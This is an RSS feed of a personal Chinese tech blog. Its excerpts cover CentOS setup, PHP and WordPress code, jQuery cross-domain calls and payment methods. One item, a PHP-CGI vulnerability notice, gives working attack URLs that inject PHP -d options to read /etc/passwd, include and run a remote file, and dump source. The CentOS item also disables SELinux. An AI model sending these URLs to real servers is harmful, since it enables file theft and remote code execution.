<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[Sjolzy'blog]]></title> 
<description><![CDATA[]]></description>
<link>http://sjolzy.cn/</link>
<language>zh-cn</language>
<generator>Sjolzy.Cn</generator><item>
	<title>Centos 5.X常见服务优化与说明总结</title>
	<link><![CDATA[http://sjolzy.cn/Centos-5-X-common-service-optimization-and-note-summarizes-the.html]]></link>
	<description><![CDATA[<h3>一 关闭selinux</h3>
<p>selinux对很多服务的要求以及安全策略非常多非常多，新手很难驾驭，所以一般建议关闭, 但在加固一些网络服务时，还是需要开启的</p>
<blockquote>#disable selinux<br />sed -i &#39;/SELINUX/s/enforcing/disabled/&#39; /etc/selinux/config</blockquote>
<p>&nbsp;</p>
<h3>二. 更换yum的更新源</h3>
<p>如果服务器不是位于教育网内,中科大的镜像源速度也很一般啊, 强烈建议整合sohu或者163的更新源:</p>
<blockquote><div><div>cd /etc/yum.repos.d</div>
<div>mv CentOS-Base.repo&nbsp; CentOS-Base.repo.save</div>
<div>wget http://mirrors.sohu.com/help/CentOS-Base-sohu.repo</div>
<div>mv CentOS-Base-sohu.repo CentOS-Base.repo</div>
<div>wget http://mirrors.163.com/.help/CentOS-Base-163.repo</div>
<div>wget http://mirrors.ustc.edu.cn/centos/CentOS-Base.5.mirrors.repo</div>
<div>yum makecache</div>
</div>
</blockquote><p><a href="http://sjolzy.cn/Centos-5-X-common-service-optimization-and-note-summarizes-the.html">阅读全文&gt;&gt;</a></p>]]></description>
	<pubDate>Thu, 17 May 2012 14:13:24 +0000</pubDate>
	<author>Chen@Sjolzy.Cn</author>
	<guid><![CDATA[http://sjolzy.cn/Centos-5-X-common-service-optimization-and-note-summarizes-the.html]]></guid>
</item><item>
	<title>防止PHP CGI远程任意代码执行漏洞一例</title>
	<link><![CDATA[http://sjolzy.cn/Prevent-PHP-CGI-remote-arbitrary-code-execution-vulnerability-one-case.html]]></link>
	<description><![CDATA[<p>&nbsp;</p>
<p>又发现了一例PHP挂载CGI的环境下，远程执行任意代码的漏洞。</p>
<p>主要原因是：PHP做了防范，CGI在SAPI下无法使用-r，-f等直接执行命令的参数。</p>
<p>例子，</p>
<p>http://demo.com/do.php?-dauto_prepend_file%3d/etc/passwd+-n</p>
<p>http://demo.com/do.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://sjolzy.cn/a.txt</p>
<p>http://demo.com/do.php?-s</p>
<p>受影响的平台：APACHE+MOD_CGI+PHP-CGI模式。</p><p><a href="http://sjolzy.cn/Prevent-PHP-CGI-remote-arbitrary-code-execution-vulnerability-one-case.html">阅读全文&gt;&gt;</a></p>]]></description>
	<pubDate>Fri, 04 May 2012 19:04:24 +0000</pubDate>
	<author>Chen@Sjolzy.Cn</author>
	<guid><![CDATA[http://sjolzy.cn/Prevent-PHP-CGI-remote-arbitrary-code-execution-vulnerability-one-case.html]]></guid>
</item><item>
	<title>PHP实时输出</title>
	<link><![CDATA[http://sjolzy.cn/PHP-real-time-output.html]]></link>
	<description><![CDATA[<p>老生长谈了。。纯备忘</p>
<p>对于运行时间较长的PHP程序来说可能都需要即时输出内容来查看运行情况。</p>
<p>header(&ldquo;Content-type:text/html;charset=utf-8&Prime;);</p>
<p>#设置执行时间不限时&nbsp;<br />set_time_limit(0);</p>
<p>#清除并关闭缓冲，输出到浏览器之前使用这个函数。<br />ob_end_clean();</p>
<p>#控制隐式缓冲泻出，默认off，打开时，对每个 print/echo 或者输出命令的结果都发送到浏览器。<br />ob_implicit_flush(1);</p>
<p>例，</p><p><a href="http://sjolzy.cn/PHP-real-time-output.html">阅读全文&gt;&gt;</a></p>]]></description>
	<pubDate>Fri, 04 May 2012 13:22:35 +0000</pubDate>
	<author>Chen@Sjolzy.Cn</author>
	<guid><![CDATA[http://sjolzy.cn/PHP-real-time-output.html]]></guid>
</item><item>
	<title>为右手小拇指写的一篇文章</title>
	<link><![CDATA[http://sjolzy.cn/An-article-written-for-the-right-hand-little-finger.html]]></link>
	<description><![CDATA[<p>&quot;人呐, 一旦骚起来, 连骑车也GEEK&quot;</p>
<p>这就是昨天下午想对自己说的一句话.</p>
<p>如果慢一点. 如果没有绕上去..如果NND右手刚好在扣鼻屎...</p>
<p>芥末会用手指头和钢管比硬 &nbsp; &gt; _&lt;!!!!</p>
<p>伤已成, 肉已掉, 血已流..</p>
<p>看着现在丰满雪白, 用纱布包得紧紧的小拇指,</p>
<p>我怀念以前她那一面的光滑.. 水亮水亮的</p>
<p>指甲, 给我一个指甲的时间,</p>
<p>然, 小手指头上钻肉刺骨的疼... 疼/&nbsp; 在回答俺..</p>
<p>只望半年后指甲能重见巅峰 - -</p>]]></description>
	<pubDate>Wed, 02 May 2012 06:57:57 +0000</pubDate>
	<author>Chen@Sjolzy.Cn</author>
	<guid><![CDATA[http://sjolzy.cn/An-article-written-for-the-right-hand-little-finger.html]]></guid>
</item><item>
	<title>WordPress程序采集文章并设置特色图片</title>
	<link><![CDATA[http://sjolzy.cn/WordPress-procedures-for-collecting-articles-and-set-features-pictures.html]]></link>
	<description><![CDATA[<p>WordPress的采集插件挺多， 功能也很强大。但是如果要折腾，还是自己写 :D</p>
<p>下面是我的采集插件里的几个关键函数：</p>
<p><strong>匹配函数（经测试效率最好的一个）</strong>
</p>
<blockquote>/**<br />&nbsp;* 获取第一个匹配的内容<br />&nbsp;*<br />&nbsp;* @author&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;Copyright (c) &lt;http://sjolzy.cn&gt;<br />&nbsp;* @param&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;string&nbsp;&nbsp; &nbsp;$str&nbsp;&nbsp; &nbsp;内容<br />&nbsp;* @param&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;string&nbsp;&nbsp; &nbsp;$start&nbsp;&nbsp; &nbsp;起始匹配<br />&nbsp;* @param&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;string&nbsp;&nbsp; &nbsp;$end&nbsp;&nbsp; &nbsp;中止匹配<br />&nbsp;* @return&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;string<br />&nbsp;*/<br />private function strCut($str, $start, $end){<br />&nbsp;&nbsp; &nbsp;$content = strstr( $str, $start );<br />&nbsp;&nbsp; &nbsp;$content = substr( $content, strlen( $start ), strpos( $content, $end ) - strlen( $start ) );<br />&nbsp;&nbsp; &nbsp;return $content;<br />}</blockquote>
<p><strong>取出所有匹配的内容</strong>
</p>
<p>/**<br />&nbsp;* 获取所有匹配的内容</p><p><a href="http://sjolzy.cn/WordPress-procedures-for-collecting-articles-and-set-features-pictures.html">阅读全文&gt;&gt;</a></p>]]></description>
	<pubDate>Thu, 26 Apr 2012 05:56:09 +0000</pubDate>
	<author>Chen@Sjolzy.Cn</author>
	<guid><![CDATA[http://sjolzy.cn/WordPress-procedures-for-collecting-articles-and-set-features-pictures.html]]></guid>
</item><item>
	<title>wordpress子站间相互调用查询</title>
	<link><![CDATA[http://sjolzy.cn/wordpress-sub-station-between-call-query.html]]></link>
	<description><![CDATA[<p><img alt="Wordpress站点ID" src="http://sjolzy.cn/content/uploadfile/201205/wordpress-sub-station-between-call-query.png" /></p>
<p>Wordpress的多站点模式常常有子站互相调用的需要, 查了下, 好在Wp有带子站站点互相切换的函数.</p><p><a href="http://sjolzy.cn/wordpress-sub-station-between-call-query.html">阅读全文&gt;&gt;</a></p>]]></description>
	<pubDate>Tue, 24 Apr 2012 07:25:25 +0000</pubDate>
	<author>Chen@Sjolzy.Cn</author>
	<guid><![CDATA[http://sjolzy.cn/wordpress-sub-station-between-call-query.html]]></guid>
</item><item>
	<title>禅道项目系统代码随记(一)</title>
	<link><![CDATA[http://sjolzy.cn/Project-system-code-with-Zen-in-mind-a.html]]></link>
	<description><![CDATA[<p>代码1:</p>
<p>/**<br />&nbsp;* Set the member&#39;s value of one object.<br />&nbsp;* &lt;code&gt;<br />&nbsp;* &lt;?php<br />&nbsp;* $lang-&gt;db-&gt;user = &#39;wwccss&#39;;<br />&nbsp;* helper::setMember(&#39;lang&#39;, &#39;db.user&#39;, &#39;chunsheng.wang&#39;);<br />&nbsp;* ?&gt;<br />&nbsp;* &lt;/code&gt;<br />&nbsp;* @param string&nbsp;&nbsp;&nbsp; $objName&nbsp;&nbsp;&nbsp; the var name of the object.<br />&nbsp;* @param string&nbsp;&nbsp;&nbsp; $key&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the key of the member, can be parent.child.<br />&nbsp;* @param mixed&nbsp;&nbsp;&nbsp;&nbsp; $value&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the value to be set.<br />&nbsp;* @static<br />&nbsp;* @access public<br />&nbsp;* @return bool<br />&nbsp;*/<br />static public function setMember($objName, $key, $value)<br />{<br />&nbsp;&nbsp;&nbsp; global $$objName;<br />&nbsp;&nbsp;&nbsp; if(!is_object($$objName) or empty($key)) return false;<br /><span style="color:#f00;">&nbsp;&nbsp;&nbsp; $key&nbsp;&nbsp; = str_replace(&#39;.&#39;, &#39;-&gt;&#39;, $key);<br />&nbsp;&nbsp;&nbsp; $value = serialize($value);</span>
</p><p><a href="http://sjolzy.cn/Project-system-code-with-Zen-in-mind-a.html">阅读全文&gt;&gt;</a></p>]]></description>
	<pubDate>Wed, 18 Apr 2012 06:50:37 +0000</pubDate>
	<author>Chen@Sjolzy.Cn</author>
	<guid><![CDATA[http://sjolzy.cn/Project-system-code-with-Zen-in-mind-a.html]]></guid>
</item><item>
	<title>再谈jQuery跨任何域</title>
	<link><![CDATA[http://sjolzy.cn/Talk-about-jQuery-across-any-domain.html]]></link>
	<description><![CDATA[<p>跨域相关的文章老早写过几篇：</p>
<p><a href="http://sjolzy.cn/jquery-jquery-url-encountered-in-cross-domain-detection-of-problems-and-the-use-of-JSONP.html" title="jquery url检测遇到的jquery跨域问题及JSONP的使用">jquery url检测遇到的jquery跨域问题及JSONP的使用</a>
</p>
<p><a href="http://sjolzy.cn/PHP-Using-P3P-to-achieve-cross-domain.html" title="PHP - 利用P3P实现跨域">PHP - 利用P3P实现跨域</a>
</p>
<p><a href="http://sjolzy.cn/HTTP-and-HTTPS-session-to-share-solutions-to-cross-domain.html" title="HTTP和HTTPS跨域共享session解决办法">HTTP和HTTPS跨域共享session解决办法</a>
</p>
<p>本文是对第一篇的实例补充。</p>
<p>js脚本</p>
<blockquote>$.<strong>getJSON</strong>
 (&#39;http://sjolzy.cn/?<span style="color:#f00;">callback=?</span>
 &amp;a=1&amp;b=2&#39;, function(data) { <br />&nbsp;&nbsp;&nbsp; if (typeof(data) == &#39;object&#39;) {<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; $.each(data,function(i,j){<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; // ...<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; });<br />&nbsp;&nbsp;&nbsp; }<br />});</blockquote>
<p>服务端代码</p><p><a href="http://sjolzy.cn/Talk-about-jQuery-across-any-domain.html">阅读全文&gt;&gt;</a></p>]]></description>
	<pubDate>Mon, 09 Apr 2012 03:25:33 +0000</pubDate>
	<author>Chen@Sjolzy.Cn</author>
	<guid><![CDATA[http://sjolzy.cn/Talk-about-jQuery-across-any-domain.html]]></guid>
</item><item>
	<title>jquery ajax的async参数导致火狐浏览器闪屏</title>
	<link><![CDATA[http://sjolzy.cn/jquery-ajax-async-parameter-led-to-the-Firefox-browser-splash-screen.html]]></link>
	<description><![CDATA[<p>先提下关于jQuery的$.Ajax 的async的作用,</p>
<p>官方的解释是</p>
<blockquote>async Boolean Default: true <br />By default, all requests are sent asynchronous (e.g. this is set to true by default). If you need synchronous requests, set this option to false. Note that synchronous requests may temporarily lock the browser, disabling any actions while the request is active.</blockquote>
<p>async默认是true, 即为异步方式, $.Ajax执行后, 会继续执行ajax后面的脚步, 直到服务器端返回数据后, 触发$.Ajax里的success方法. 这时候执行的是两个线程.</p>
<p>我的出现闪屏的情况是:</p>
<p>$.ajax({<br />&nbsp;&nbsp; &nbsp;type: &quot;post&quot;,<br />&nbsp;&nbsp; &nbsp;url: &quot;index.php&quot;,<br />&nbsp;&nbsp; &nbsp;data: { },<br />&nbsp;&nbsp; &nbsp;<span style="color:#f00;">async:false,</span>
</p><p><a href="http://sjolzy.cn/jquery-ajax-async-parameter-led-to-the-Firefox-browser-splash-screen.html">阅读全文&gt;&gt;</a></p>]]></description>
	<pubDate>Fri, 06 Apr 2012 03:15:09 +0000</pubDate>
	<author>Chen@Sjolzy.Cn</author>
	<guid><![CDATA[http://sjolzy.cn/jquery-ajax-async-parameter-led-to-the-Firefox-browser-splash-screen.html]]></guid>
</item><item>
	<title>国际支付，收款方式—西联，paypal,cashrun cashpay,信用卡渠道</title>
	<link><![CDATA[http://sjolzy.cn/International-payments-form-of-payment-Western-Union-paypal-cashrun-cashpay-credit-card-channels.html]]></link>
	<description><![CDATA[<p><span class="Apple-style-span" style="font-family: 宋体; line-height: 24px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; color: rgb(0, 0, 0); ">电子商务外贸商家，外贸soho。的收款方式主要有：西联，paypal,Cashrun Cashpay，信用卡，TT。<br /><br />西联汇款&nbsp;&nbsp; 费用：单笔视地区（14-85usd）<br />优点：实时汇兑，周期3-7天<br />缺点：费率比较贵<br /><br />paypal&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 费率：2.9%~~3.9%&nbsp;&nbsp;<br />费用：<br />1.无开户费及使用费<br />2.每笔收取0.3$银行系统占用费<br />3.提现每笔收取35$<br />4.如果跨境每笔收取0.5%的跨境费<br />优点：</span>
</p><p><a href="http://sjolzy.cn/International-payments-form-of-payment-Western-Union-paypal-cashrun-cashpay-credit-card-channels.html">阅读全文&gt;&gt;</a></p>]]></description>
	<pubDate>Wed, 04 Apr 2012 17:38:45 +0000</pubDate>
	<author>Chen@Sjolzy.Cn</author>
	<guid><![CDATA[http://sjolzy.cn/International-payments-form-of-payment-Western-Union-paypal-cashrun-cashpay-credit-card-channels.html]]></guid>
</item></channel>
</rss>
